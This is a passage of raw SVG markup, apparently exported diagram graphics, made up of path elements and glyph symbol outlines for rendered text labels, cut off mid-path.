47.70943 30.280223 47.843805 30.414598 48.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 30.414598 L 54.40943 30.414598 C 54.57525 30.414598 54.70943 30.280223 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#af" x="423.063" y="311.191"/><use xlink:href="#Z" x="431.852" y="311.191"/><use xlink:href="#ag" x="437.672" y="311.191"/><use xlink:href="#Z" x="445.934" y="311.191"/><use xlink:href="#q" x="451.754" y="311.191"/></g></svg> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 453"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M1.281-13.86a6.254 6.254 0 0 1 1.36-.234c.476-.039.953-.062 1.421-.062.532 0 1.055.062 1.579.187.52.117.988.336 1.406.656.426.313.766.75 1.016 1.313.257.563.39 1.277.39 2.14 0 .844-.125 1.56-.375 2.141-.242.586-.562 1.063-.969 1.438a3.698 3.698 0 0 1-1.406.797 5.272 5.272 0 0 1-1.625.25h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0h-1.5zm2.86 1.079c-.274 0-.532.011-.782.031a3.635 3.635 0 0 0-.578.094v5.953a.56.56 0 0 0 .25.062c.114 0 .227.008.344.016h.61a4.08 4.08 0 0 0 1.078-.14c.343-.094.644-.258.906-.5.27-.25.488-.583.656-1 .164-.426.25-.958.25-1.594 0-.563-.078-1.024-.234-1.391a2.41 2.41 0 0 0-.594-.906 2.06 2.06 0 0 0-.86-.485 3.87 3.87 0 0 0-1.046-.14zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M.734-5c0-1.8.305-3.125.922-3.969.625-.844 1.508-1.265 2.657-1.265 1.226 0 2.132.433 2.718 1.296.582.868.875 2.18.875 3.938 0 1.813-.32 3.14-.953 3.984-.625.836-1.508 1.25-2.64 1.25-1.22 0-2.122-.43-2.704-1.296C1.023-1.926.734-3.239.734-5zm1.5 0c0 .586.036 1.117.11 1.594.07.48.191.898.36 1.25.163.344.382.617.655.812.27.188.586.282.954.282.695 0 1.218-.305 1.562-.922.352-.625.531-1.63.531-3.016 0-.57-.039-1.098-.11-1.578a4.47 4.47 0 0 0-.359-1.25c-.167-.352-.386-.625-.656-.813a1.62 1.62 0 0 0-.968-.296c-.68 0-1.196.312-1.547.937-.356.625-.532 1.625-.532 3zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M.188-10h1.218v-1.984l1.438-.454V-10H5v1.297H2.844v5.969c0 .586.066 1.007.203 1.265.144.262.375.39.687.39.27 0 .5-.03.688-.093.195-.062.41-.14.64-.234l.282 1.14a4.299 4.299 0 0 1-.969.344 4.34 4.34 0 0 1-1.11.14c-.667 0-1.148-.214-1.437-.64-.281-.437-.422-1.144-.422-2.125v-6.156H.188zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="f"><path style="stroke:none" d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M8.656-12.625H5.22V0h-1.5v-12.625H.28V-14h8.375zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="m3.656-3.547.422 1.953h.11l.296-1.953L6-10h1.453L5.078-1.016A57.87 57.87 0 0 1 4.516 1a11.53 11.53 0 0 1-.61 1.625c-.219.457-.465.816-.734 1.078-.274.258-.594.39-.969.39s-.703-.058-.984-.171l.234-1.36c.188.063.375.07.563.032.187-.031.363-.14.53-.328.165-.188.317-.47.454-.844.145-.367.27-.84.375-1.422L.141-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.188-10h1.015l.219 1.078H2.5c.488-.875 1.258-1.312 2.313-1.312 1.062 0 1.851.398 2.375 1.187.53.781.796 2.063.796 3.844 0 .844-.09 1.605-.265 2.281-.18.668-.43 1.242-.75 1.719A3.27 3.27 0 0 1 5.812-.125c-.46.238-.968.36-1.53.36-.387 0-.696-.028-.923-.079a2.43 2.43 0 0 1-.734-.281V4H1.187zm1.437 8.422c.188.156.395.281.625.375.227.094.54.14.938.14.695 0 1.253-.359 1.671-1.078.414-.718.625-1.742.625-3.078 0-.562-.039-1.066-.109-1.515a4.02 4.02 0 0 0-.36-1.172 1.925 1.925 0 0 0-.609-.766c-.242-.176-.543-.265-.906-.265-.969 0-1.594.593-1.875 1.78zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="o"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 1.86H6.547l-.328-1.157H6.14C5.68-.203 4.89.266 3.766.266 2.742.266 1.94-.133 1.359-.938.785-1.738.5-3.038.5-4.844c0-1.758.313-3.093.938-4 .625-.914 1.554-1.375 2.796-1.375.32 0 .586.024.797.063.219.043.426.11.625.203V-14h2.39zM4.312-1.922c.364 0 .649-.086.86-.266.219-.175.379-.44.484-.796v-4.72a1.396 1.396 0 0 0-.453-.25 1.865 1.865 0 0 0-.64-.093c-.532 0-.934.246-1.204.735-.273.48-.406 1.328-.406 2.546 0 .93.11 1.637.328 2.125.227.48.57.72 1.031.72zm0 0"/></symbol><symbol overflow="visible" id="p"><path style="stroke:none" d="M5.578-7.64a2.699 2.699 0 0 0-.875-.173c-.367 0-.68.102-.937.297-.262.2-.438.477-.532.829V0H.86v-10h1.829l.265 1.203h.094c.164-.437.41-.781.734-1.031.332-.25.711-.375 1.14-.375.321 0 .634.07.938.203zm0 0"/></symbol><symbol overflow="visible" id="q"><path style="stroke:none" d="M7.625-.734c-.336.293-.79.53-1.36.718a5.808 5.808 0 0 1-1.812.282c-.687 0-1.281-.121-1.781-.36a3.164 3.164 0 0 1-1.235-1.031C1.113-1.582.875-2.133.72-2.781.57-3.437.5-4.176.5-5c0-1.8.352-3.129 1.063-3.984.718-.864 1.71-1.297 2.984-1.297.426 0 .836.062 1.234.187.395.125.75.34 1.063.64.312.306.566.704.765 1.204.196.5.297 1.133.297 1.89 0 .294-.023.606-.062.938-.032.336-.078.695-.14 1.078h-4.86c.02.836.191 1.469.515 1.907.32.437.836.656 1.547.656a3.11 3.11 0 0 0 1.157-.203c.351-.133.625-.274.812-.422zM4.5-8.234c-.512 0-.89.203-1.14.609-.25.406-.4.977-.438 1.703h2.765c.032-.758-.054-1.332-.25-1.719-.199-.394-.511-.593-.937-.593zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M4.219-2.656a.99.99 0 0 0-.266-.703 3.047 3.047 0 0 0-.687-.547l-.891-.516a5.125 5.125 0 0 1-.89-.64A3.187 3.187 0 0 1 .78-5.97c-.18-.363-.265-.82-.265-1.375 0-.926.254-1.644.765-2.156.508-.508 1.254-.766 2.235-.766.593 0 1.144.07 1.656.204.52.124.937.28 1.25.468l-.563 1.828a7.374 7.374 0 0 0-.921-.296 3.866 3.866 0 0 0-1.063-.157c-.648 0-.969.274-.969.813 0 .261.086.476.266.64.176.168.406.329.687.485.282.156.579.324.891.5.313.18.61.398.89.656.282.262.508.578.688.953.176.367.266.824.266 1.375 0 .918-.282 1.656-.844 2.219-.555.562-1.383.844-2.484.844-.555 0-1.094-.07-1.625-.204C1.117-.07.695-.241.375-.453l.672-1.922c.27.156.586.297.953.422.375.117.758.172 1.156.172.313 0 .567-.067.766-.203.195-.145.297-.368.297-.672zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M3.281-3.234c0 .46.047.793.14 1 .095.199.243.296.454.296.125 0 .25-.007.375-.03.125-.032.27-.083.438-.157l.218 1.922c-.168.105-.445.203-.828.297-.387.093-.777.14-1.172.14-.668 0-1.168-.168-1.5-.5-.336-.332-.5-.894-.5-1.687V-14h2.375zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" d="M1.063-10h2.375V0H1.062zm.14-2.813c0-.406.125-.738.375-1 .25-.257.61-.39 1.078-.39.469 0 .844.133 1.125.39.281.25.422.586.422 1 0 .407-.14.731-.422.97-.281.241-.656.359-1.125.359s-.828-.118-1.078-.36c-.25-.25-.375-.57-.375-.969zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M5.813 0v-6.078c0-.738-.09-1.254-.266-1.547-.168-.29-.453-.438-.86-.438-.355 0-.656.11-.906.329-.25.21-.433.476-.547.796V0H.86v-10h1.907l.28 1.156h.048c.238-.383.566-.71.984-.984.414-.27.957-.406 1.625-.406.395 0 .75.062 1.063.187.312.117.57.309.78.578.22.274.38.637.485 1.094.114.46.172 1.031.172 1.719V0zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.734-2.125h2.282v-7.86l.265-1.359-.828 1.188-1.312 1.015-1.094-1.343 3.86-3.75h1.39v12.109h2.25V0H1.734zm0 0"/></symbol><symbol overflow="visible" id="R"><path style="stroke:none" d="M8.047-10.64a7.8 7.8 0 0 1-.313 2.14c-.199.719-.453 1.43-.765 2.125a20.678 20.678 0 0 1-1.032 1.984c-.375.625-.742 1.18-1.093 1.657l-.89.812v.11l1.202-.313h3.11V0H1.234v-1.375c.282-.352.582-.75.907-1.188.332-.445.66-.921.984-1.421.332-.5.648-1.02.953-1.563.313-.539.582-1.082.813-1.625.226-.539.41-1.07.546-1.594.145-.52.22-1.004.22-1.453 0-.562-.137-1.015-.407-1.36-.262-.343-.672-.515-1.234-.515a2.57 2.57 0 0 0-1.047.235 3.09 3.09 0 0 0-.875.546l-.89-1.75a4.943 4.943 0 0 1 1.468-.89c.562-.219 1.223-.328 1.984-.328.477 0 .926.078 1.344.234.414.156.77.387 1.063.688.3.304.539.683.718 1.14.176.45.266.977.266 1.578zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M8.844-.563c-.356.293-.824.508-1.406.641a7.62 7.62 0 0 1-1.72.203c-.718 0-1.39-.12-2.015-.36-.617-.25-1.156-.66-1.625-1.234-.469-.582-.84-1.335-1.11-2.265-.261-.938-.39-2.082-.39-3.438 0-1.414.149-2.586.453-3.515.301-.938.692-1.68 1.172-2.235.488-.55 1.047-.941 1.672-1.171a5.549 5.549 0 0 1 1.906-.344c.657 0 1.223.058 1.703.172.489.105.891.218 1.204.343l-.5 2.22a4.112 4.112 0 0 0-.907-.298 5.909 5.909 0 0 0-1.203-.11c-.918 0-1.625.403-2.125 1.204-.492.793-.734 2.043-.734 3.75 0 .73.054 1.402.172 2.016.113.605.289 1.125.53 1.562.25.438.563.777.938 1.016.383.242.844.36 1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="ab"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="ac"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="ad"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="ae"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="af"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="ag"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 